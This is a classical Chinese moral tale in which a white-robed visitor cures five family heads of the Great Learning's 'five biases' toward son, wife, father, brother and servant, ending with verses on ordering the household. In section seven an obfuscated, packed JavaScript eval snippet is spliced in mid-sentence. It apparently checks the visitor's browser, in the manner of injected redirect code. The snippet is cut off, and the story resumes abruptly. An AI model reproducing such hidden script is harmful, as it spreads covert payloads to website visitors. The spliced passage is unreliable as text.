赵员外年五十，独子赵宠，年十八，骄纵成性。昨日纵马踏青，践踏邻田，农人理论，赵宠鞭之。邻告于赵员外，员外笑曰：“少年意气，何足道哉？”反责农人“惊吾儿马”。 来人引赵员外至“亲爱”碑前。碑文渗血，以手抚之，竟温热。赵员外惊退。 “亲爱而辟，人之常情。然过则偏，偏则蔽。”来人问，“员外可知‘人莫知其子之恶’？” 赵员外强笑：“吾儿虽顽劣，心本善…” “心善而纵恶，是爱之，是害之？”来人取铜镜一面，令赵员外自照。镜中赵宠正鞭笞老仆，面目狰狞。赵员外怒：“此镜有妖！” “镜无妖，是父心偏。”来人叹，“亲爱之，则见其美不见其恶。今子行凶，员外不惩反护，是辟也。辟则家不齐，家不齐则祸将至。” 引至田间，被踏农人卧病，妻儿啜泣。来人问：“若有人踏员外祖坟，员外当如何？” 赵员外语塞。来人指赵宠：“子之过，父之惰。今不教，他日必成大祸。”又取赵宠幼时襁褓，“昔者怀抱，望其成龙；今者纵容，任其为虫。员外之爱，是爱是害？” 赵员外泣下，遂缚子谢罪，赔田医伤。是夜，“亲爱”碑血渍渐淡。来人教“矫爱法”：爱子当知子恶，严教方是真慈。赵员外设“家训堂”，赵宠日诵《弟子规》，三月后，骄纵稍敛。 二、 贱恶而辟谳（钱掌柜） 钱掌柜娶妻柳氏，貌丑而贤。钱掌柜厌之，动辄叱骂“丑妇”，甚者鞭笞。柳氏忍泣，操持家务如故。昨日，钱掌柜宴客，柳氏奉茶稍迟，掌柜当众掌掴，客皆掩面。 来人引钱掌柜至“贱恶”碑前。碑苔青黑，触之湿滑，如泪渍。钱掌柜缩手。 “贱恶而辟，人之陋习。然过则偏，偏则暴。”来人问，“掌柜可知‘恶而知其美者，天下鲜矣’？” 钱掌柜嗤道：“丑妇何美？” “面丑而心美，孰美孰丑？”来人取清水一盆，令钱掌柜自照。水中倒影，面目竟渐扭曲，狰狞如鬼。钱掌柜骇然。 “水无妖，是心丑映面。”来人叹，“贱恶之，则见其恶不见其美。今妻虽丑，然勤勉持家，夜纺昼炊，何罪之有？掌柜但见其貌，不见其德，是辟也。辟则家不和，家不和则业不兴。” 引至厨下，柳氏正带伤炊饭，额有血痕。来人问：“掌柜可曾为妻敷药？” 钱掌柜默然。来人取柳氏所纺布：“此布细密匀实，可见其心；所烹羹：‘此羹味厚情浓，可见其勤。’丑在外，美在内。掌柜以外貌贱恶，是目盲也。” 钱掌柜惭，遂揖妻谢罪。是夜，“贱恶”碑苔色渐褪。来人教“去恶法”：见人当观其心，莫以貌取。钱掌柜自此敬妻，家业反旺。人问其故，答：“家和万事兴。” 三、 畏敬而辟谳（孙乡绅） 孙乡绅之父孙太公，年七旬，刚愎自用。去年强令改河道，毁邻田，乡人怨。孙乡绅畏父，不敢谏。昨日，太公欲伐村口古槐建祠堂，乡绅知槐有灵，仍唯唯。 来人引孙乡绅至“畏敬”碑前。碑裂如龟纹，以手触之，簌簌落屑。孙乡绅颤。 “畏敬而辟，人之常礼。然过则偏，偏则愚。”来人问，“乡绅可知‘父有过，子当几谏’？” 孙乡绅嗫嚅：“父命难违…” “违命不孝，顺过亦不孝。”来人取竹尺，折之有声，“尺有度，谏有方。今父有过，子不谏，是陷父于不义，岂是真孝？” 引至村口，古槐参天，数人合抱。太公正督工伐树。来人问太公：“公可知此槐龄几何？” “约二百年。” “二百年来，此槐荫庇多少行人？乡人祭拜多少代？公为一祠，毁百年灵物，忍乎？” 太公语塞。来人又谓孙乡绅：“畏敬非盲从，敬其德，谏其过。今公畏父而不敢言，是辟也。辟则家不直，家不直则德不立。” 孙乡绅跪泣陈谏。太公悟，止伐槐，另择地建祠。是夜，“畏敬”碑裂痕渐合。来人教“善谏法”：谏亲当婉，然不可不谏。孙乡绅自此遇父过必婉言，太公反赞“吾有诤子”。 四、 哀矜而辟谳（李庄主） 李庄主有弟李二，游手好闲，常偷邻鸡。邻告，庄主哀其幼失怙，不忍责，反赔钱了事。李二愈肆，昨日竟盗祠堂祭器，庄主仍隐忍。 来人引李庄主至“哀矜”碑前。碑色惨白，如丧布。李庄主抚之，手觉阴寒。 “哀矜而辟，人之仁心。然过则偏，偏则纵。”来人问，“庄主可知‘慈悲生祸害’？” 李庄主叹：“吾弟失教，吾之过也…” “知过而纵过，是过上加过。”来人取祭器被盗之箱，箱中空，唯余一纸，上书“兄纵我盗”。李庄主色变。 “哀矜之，则怜其不幸，忘其可恶。今弟为盗，兄不惩，是爱之，是害之？他日若犯大罪，兄可能代刑？” 引至祠堂，列祖牌位森然。来人问：“祖宗在上，见子弟为盗，当喜当怒？” 李庄主伏地涕泣。来人曰：“哀矜当有度，惩恶亦是扬善。今不惩弟，是毁弟一生。”又取家法竹板，“小惩大诫，方是真仁。” 李庄主遂缚弟于祠堂，自执家法，杖二十，令其对祖悔过。是夜，“哀矜”碑色转温。来人教“中惩法”：惩恶为爱，纵恶为害。李二自此改过，后成家立业，每言“非兄当年严惩，吾已陷囹圄”。 五、 敖惰而辟谳（周院君） 周院君有仆阿勤，勤勉忠厚。院君视若草芥，动辄叱骂，月钱常扣。阿勤母病，求预支工钱，院君斥“贱奴刁诈”。昨日，阿勤扫地拾金镯，呈上，院君反疑其偷藏一只。 来人引周院君至“敖惰”碑前。碑体倾斜，以手扶之，摇摇欲坠。周院君退。 “敖惰而辟，人之傲慢。然过则偏，偏则昏。”来人问，“院君可知‘仆虽贱，亦有心’？” 周院君冷笑：“奴仆如犬马，何须以心待？” “犬马劳苦，尚需草料；仆役勤勉，岂可寒心？”来人取金镯一对，置日光下，“此镯本一对，院君何以疑仆藏一？” “贱奴见财，岂不贪？” “贪者不还，还者不贪。”来人唤阿勤，阿勤跪呈账册，上记“某年某月，拾钱一贯奉还；某年某月，拾衣归主…”竟有十余条。周院君赧然。 “敖惰之，则轻其劳，疑其诚。今仆勤勉，主不赏；仆拾金，主反疑。是辟也。辟则家不聚，家不聚则人尽散。” 引至仆舍，阿勤母卧病草铺，药炉冷寂。来人问：“院君可曾探视？” 周院君默然。来人叹：“主仆虽有分，人心皆是肉。今日寒仆心，他日谁效力？”又取院君所弃残羹，“此羹尚温，可暖仆心；此言如冰，可寒仆志。院君择焉。” 周院君惭，遂延医治仆母，加阿勤月钱，更以金镯赐之。是夜，“敖惰”碑渐正。来人教“待下法”：待下以宽，宽则得众。周家自此仆役尽心，家业更盛。 六、 齐家会 五户悔改，聚于五辟碑前。来人指碑上“五辟”： “亲爱、贱恶、畏敬、哀矜、敖惰，五者皆心之偏。心偏则身不修，身不修则家不齐。故好而知其恶，恶而知其美者，天下鲜矣！今五子各执一偏，故家宅不宁。” 赵员外问：“何以去偏？” “去偏在明心。”来人取五面铜镜，分予五人，“对镜自照，可见己偏：赵员外镜中溺子，钱掌柜镜中叱妻，孙乡绅镜中畏父，李庄主镜中纵弟，周院君镜中傲仆。知偏方能纠偏。” 又引至村中“齐家堂”，堂悬古联：“修身正心，齐家治国”。来人曰：“身不修，不可以齐其家。五子之病，皆在身不修：心偏则行偏，行偏则家乱。今当修身以正心，正心以齐家。” 遂教“齐家法”：每日晨昏，对镜自省“我今日可有五辟”？有则记之，明日改之。又立“家会”，五家每月一会，互指偏失，共勉共进。 三月后，五辟碑异象全消：血渍苔痕尽褪，裂痕白迹皆平，倾斜之碑自立。村人奇之，来人曰：“非碑变，是人心正，映碑亦正。” 七、 苗硕谳 端阳日，齐家庄办“齐家宴”，五户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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童诵《齐家谣》： “齐家先要修自身， 五辟除去家自宁。 一辟亲爱子成恶， 二辟贱恶妻寒心。 三辟畏敬父有过， 四辟哀矜弟纵淫。 五辟敖惰仆离散， 去偏守中家道兴。 好而知恶恶知美， 人莫知其子之愆。 莫不知其苗之硕， 修身齐家要分明。” 书生恍然。是夜，宿村中，梦来人踏月而至，以木剑点其额：“子有亲爱，偏宠幼妹；有贱恶，厌弃丑仆；有畏敬，盲从师长；有哀矜，姑息同窗；有敖惰，轻视农夫。五辟俱全，何以齐家？” 书生惊寤，汗透重衣。翌日，修书归家，善待仆婢，劝谏师长，规诫同窗，敬重农人。后中进士，治家有方。 村口五辟碑，后人以琉璃罩护，碑文常新。有家主不修者临碑，碑面自现“亲爱”“贱恶”等字警示。人传：“此乃白衣仙人所留齐家鉴也。” 本章诫世 一、 五辟之偏 - 人之其所亲爱而辟焉，之其所贱恶而辟焉，之其所畏敬而辟焉，之其所哀矜而辟焉，之其所敖惰而辟焉 - 破解法：待人接物，自问是否“偏”——亲爱是否失察？贱恶是否失公？畏敬是否失谏？哀矜是否失度？敖惰是否失礼？ 二、 好恶之明 - 好而知其恶，恶而知其美者，天下鲜矣 - 惕世：多少人“爱之欲其生，恶之欲其死”？多少不公源于好恶之偏？ - 反思：我对所爱，可知其恶？对所恶，可知其美？ 三、 齐家之本 - 身不修不可以齐其家 - 深层隐喻：五辟是心偏，心偏则身不修，身不修则家不齐 - 终极指向：齐家在修身，修身在正心。去五辟，存中正，家自齐 齐家偈： 齐家庄里五户偏，亲爱贱恶各蔽天。 赵氏溺子不知恶，钱氏贱妻不见贤。 孙氏畏敬父有过，李氏哀矜弟纵愆。 周氏敖惰仆心寒，五辟不除家难圆。 白衣点破齐家道，去偏守中镜高悬。 至今五辟碑犹在，照见人心正与偏。 后世叹： 齐家先要修自身，五辟缠心家不宁。 亲爱贱恶畏敬偏，哀矜敖惰亦是病。 好而知恶恶知美，人鲜能此行难能。 人莫知其子之恶，苗硕不知贪心萦。 五户当初迷五辟，白衣指点家道兴。 正是： 齐家在修身在心，五辟除去家自宁。 亲爱贱恶畏敬偏，哀矜敖惰亦是病。 好而知恶恶知美，人鲜能此行难能。 人莫知其子之恶，苗硕不知贪心萦。 五辟碑前五户讼，白衣指点齐家经。